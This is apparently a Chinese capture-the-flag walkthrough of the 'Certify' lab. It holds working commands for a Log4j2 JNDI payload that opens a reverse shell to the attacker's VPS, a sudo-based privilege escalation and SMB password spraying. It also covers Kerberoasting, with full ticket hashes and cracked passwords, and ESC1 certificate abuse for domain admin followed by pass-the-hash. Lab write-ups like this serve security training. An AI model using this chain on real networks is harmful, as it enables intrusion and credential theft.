春秋云镜-Certify

flag1(log4j2打JNDI)

fscan扫出来solr服务

看到有log4j2，打JNDI

先在vps上用JNDIExploit开启监听，并同时设置好反弹shell的监听

java -jar JNDIExploit.jar -i 8.148.230.29

nc -lvnp 23333

接着直接访问以下URL

http://39.98.126.21:8983/solr/admin/collections?action=${jndi:ldap://8.148.230.29:1389/Basic/ReverseShell/8.148.230.29/10087}

接收到弹来的shell，vshell一键上线

非root权限，尝试suid与sudo提权，看到grc有sudo权限

sudo grc --pty /bin/sh

得到flag1

flag2(空密码喷洒)

传fscan扫描

得到以下信息：

172.22.9.19本机 172.22.9.7DC 172.22.9.26DESKTOP-CBKTVMO主机 172.22.9.47文件服务器

靶场提示smb，但是还未获取到任何账密信息，用空密码喷洒一下

proxychains4 crackmapexec smb 172.22.9.1/24 -u "" -p "" 2>/dev/null

尝试发现能用smb空账密登录filesever这台主机

通过shares命令列出列表，然后选择fileshare，之后跟linux命令一样

可以用dir或ls列出当前目录，使用get将文件下载到本地

flag3&flag4(ESC1)

fileserver当前目录还有个personnel.db，dump下来后发现有用户名和密码

分别列成字典然后进行密码喷洒

proxychains4 crackmapexec smb 172.22.9.1/24 -u user.txt -p pass.txt 2>/dev/null

得到一组域用户账密，但是rdp登不上去

zhangjian:i9XDE02pLVf

根据flag2提示的SPN,利用impacket中的GetUserSPNS.py请求注册于该用户下的所有SPN的服务票据

proxychains4 impacket-GetUserSPNs xiaorang.lab/'zhangjian' -dc-ip 172.22.9.7

发现zhangxia和chenchen两个用户

导出服务票据，并使用hashcat爆破

proxychains4 impacket-GetUserSPNs xiaorang.lab/'zhangjian' -dc-ip 172.22.9.7 -request-user zhangxia
proxychains4 impacket-GetUserSPNs xiaorang.lab/'zhangjian' -dc-ip 172.22.9.7 -request-user chenchen

得到

$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$099c3ca7d80e199cb3692fc0a6f83d12$a74a6f62c6f4fd79ecda816d245639aafdf225fa18b7db9275f3ca02c0091e842814428186bf7b45294fd129ccf4f83cbc9cc7006c3e0b6a6b44a5b9608835a435e06f8356f61e49e66f8c4f9f795d3a4a43d7ab5f05aefd7303e7c383e37fdcf4372a4b3875ec7ab506cf4ac6649a035fb4af963a226de15d5023fe2459d837d3ebd11a5b241633b34f1b0372e9117478c14427dd8fcc3dbd082a411ab209aa869900c148f2cb3c698c682a86156b5f6e4cedde154d2caeaa7560be5fd54f843838dff5a5f7ba8ab05e9add6f91d7f4d2d2223704df4070194b59b54fef1faf6920d51bdb96e4a31dd97e29c9fa7dfd470dbd2863b3244df450cce6df46c768a68ddefca34d7b08d9cd653a754a993caa10299877a8c966c99b33e367bdfb290a816c4857a277028af38eebb0bb52c36706d08dfb314091b479d43c7f7a20cfb15197285d8b727a731c9167094d713b6ade4768a18865685e17a44ccda6ac9a5ab7afce66a502c6ff26df73fd4f21d51fa8fa9016bbd9324ede5c7ef728d43bccda5753ae7478a8d7b63e85b72783809de15ace0b6d168e750bb841a4fc8bff2e66dc65f4049a4adb1bbeed34f705d37e1d300272609d6844d59f7df5291a7852ff2caccbf90fb61b1b759adcfebd4f892fc5c9c4cbf6b0bcef23ee3bbd4439727e157a9c2b42ee4ae1633caf6940d3ea73b80c563315aa27622b5dbb1c3c9905b27dd7dc7352af703ac15ba9a4b49e110c40cbec6ca7fe3ccc04fe41e7a3fa9f4545a0f6a80eee9dd1782f78914d68e03e29c10c59993f7d43b988079c296e928b6f2cbf569eaf1045ec5e39028af7e5f768453a3ab1ac5d1cf343f15d5f3596fce110c4dae2cf20f37442f23d078e22ced7b57ade39d1a15bdf864288e4662d2ffb6cec39f0a85610494f5dc4e6b7a1f76608d1de24f10504f74ba9d37d642248fa949a321c077f5d74dde2e9be10bc02afea1b59dac4f1044b81473289fcee966278a6eebc983d81551738da2eb34948932fa174404baea3df4975c5748d6aef1983db8723ad5099b842cbe967ec06a4ac287c42cd72a1e2b35ea7a036b013483f225719fcbd33cd2256d8f6ad5f71dcf5aa94d4dacf44497a476bf55ffc30e865e8e2bc5ae02480a58a7a80af17081ae146f0bfde427a402e0aeb5bf7eff84199a3aca08dc42fbe0b9f7143019cfa22bcc0e26ba6ec2a2175ddc895caf350b25ba84ee8144e3c3bb409201ee0b2ff8bab77ef57ddfaf5a508ab6a923e2aa896d2cf348b1435af65889ef7e6ddac0fed5ef255dbf5618808830ff55bd2628050c8c482dd3939a78d7075acd5e3f68cf05d3115b76de5e21f2f86735127426c91bdd1c2679083d69f93579e5e75ef69a8e39ecaa5edb51e5b4e8b41a3f92380b37912256dd276803133f0dcb5bbb70b60130c7abc024d2b18df65c5f60ab010dbb5516baaf8ac14ea8504fa5c9ce2414296f961001ea7eca5ff88e4addc2a3eeae69a83fb93508bf93978aef5

$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$03b49818a9b91d2b48b65a581b9298f2$9774500b2a2187c1229dcbb0bcd1da3b65b329c62b2615d310daaa479ccf0676c6ccf6345541859710ad62eac128a15aa54068dc9c60606f8eb7d17672c54ed1eb002cfa01877d9646f122fac818aba4a5cf7a8eb0b86c554f2c50d3da4e171aaa9d1f9418ec85df6b4b1124d63d42eb391cc78ad302662b399ddf11b1d4059b955ec62e5c5eb70388fc13d38be117c26ca15bc756082f5a788b6795ac7439b4c78d695a75f073932f5ce011fd489937cc04863f7128d64ae26cd2016cf0ac0a4237345b88f5090355c58868e84b628ddb5298db0ffbe0b2e1a7dffbabf7bb7d5aeb53d7554a71e6a7ba0a2e5f8015b850f16aeacd1c1971738cc399872020396109ea2ebdeb83e5920e178fae4fc52c55d803a25909f7911c820242b42b1c50c54d3ca4bb5cccf11590615b07e47f7dcab64a6ba9f14ef70bd28bc03f005b2eabe94b68561e0bdfafa1a6a30a0c7b5a6a635e7b15f610221f3b81cb86e009163718509af884edc96a8527cd0946cc8bdb17f516a96ebd51d53fad378298d089eebfdd0799773a95a6535f5de34bb4a807c98ea7725da2922dd775c5e5e93c4a320bd818dad8b43932dd547ca8f812fc876c939914ca5a2c7b3cb49bc5424820523d1b1fbade6c690e07bb97cb3aa79f064b52a03275fe43e7cff03201562cccd660d17bea70456b3b6bdfc7f84982bee7d418f9f0c2b0f2a71e43db29615c6228fb84b942641efc7edcab4128b499904f9593d6115f4212d4f5b6f54934648c1f77fcb156b3997d356a6c8690ed0922281f0cbb1bab1b87d87c8072184b3b408bca8d9906f4c65d7cb1470033981cf253723c19143c3534a8e4739fdc19ca4d4d2c882a4d6895de1833150136f0d96b337d9fe064fad40a4f08d5b112bf6afd51c75628212f6d3bb34a453236e2020de6f6cab70fdc1283183cb075ff47024304ff6002fc2664bb285e15a836c6095f8be3c63c06fc9a0fe1088e5b6b4ece43fc07652fdd31ff9cbc6a00b8567ff8f2f392e76727dc7bb4ed668cd471b1152b6f940000cfea87ba072194278dca11714272f737bbb444850fe8998e436fac4bd3b51e24bc36b1cc4be12fdd69dbc1b66a9c5a7f203e7592a23fbd1048fe43e210a587649ec79b64a5bd11e79dace884b8cac6f226cbd6d7d636909bb7df4379dca0fe1751986a6b07e75f96d49f4c4ef7a4bdc768c0fe91d2616b133348d37ffd481754c8b337e0cb4ce31c97bd6837c9ffb4d2eca89a75d1e7cb8333656bd235e6e6a8a268bc6b15567232e052048bc18ffd1ab4ad6abd5ded41fcbb80b2ca67fb5d78e68e9471ebec876b2d64db84d01404f3e25d5b480e34558e2c2b7402e1f90339d6cf385c3cda663f3bb441c55c4967651b6818e9f2f3d1389f70c990c211a92d01e9ad82899be4a12901f576b94bb3043bf3333534053f829132c336dcbd26237df8a3167efaccd7448d89b16117e9ec6a6f6fc67bc148b3abaa3989cfffcc9182dcbff85bbadde00c04

爆破

hashcat -m 13100 -a 0 aaa.txt rockyou.txt --force

得到

zhangxia/MyPass2@@6
chenchen/@Passw0rd@

域控机器登录不上，能登172.22.9.26那台DESKTOP-CBKTVMO主机，记得用户名后面要加@xiaorang.lab

//登上后想试试利用ntlmrelayx+PetitPotam()通过AD CS中继来获取票据，利用没成功，并且两个工具一起运行虚拟机会卡死

方法1(Certify)

用 Certify 收集AD CS证书模块信息

Certify.exe find /vulnerable

发现跟收集到的名为XR Manager的模板信息完全符合

用该模板为 XIAORANG\Administrator 注册证书

Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:administrator

然后将BEGIN RSA PRIVATE KEY到END CERTIFICATE部分复制到本地，利用openssl将 pem 格式证书转为 pfx 格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

最后用Rubeus通过cert.pfx作为administrator身份凭证申请tgt票据并注入内存，密码跟上一步openssl设置的一样

Rubeus2.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

此时域管票据已经导入到主机中，就能用 mimikatz 导出administrator的ntlm了

之后就是pth传递172.22.9.7跟172.22.9.26这两台主机拿第三和第四个flag

方法2(certipy)

用 certipy 能直接扫到ESC1

proxychains4 /home/kali/.local/bin/certipy find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

同样用XR Manager模板为 XIAORANG\Administrator 注册证书 这里注意，在申请之前需要修改host，添加上CA和DC的host

以 root 权限编辑 /etc/hosts 文件

172.22.9.7  xiaorang.lab  xiaorang-XIAORANG-DC-CA

proxychains4 /home/kali/.local/bin/certipy req -u 'chenchen@xiaorang.lab' -p '@Passw0rd@' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

利用证书获取域控hash

proxychains4 /home/kali/.local/bin/certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7 

然后PTH登录拿flag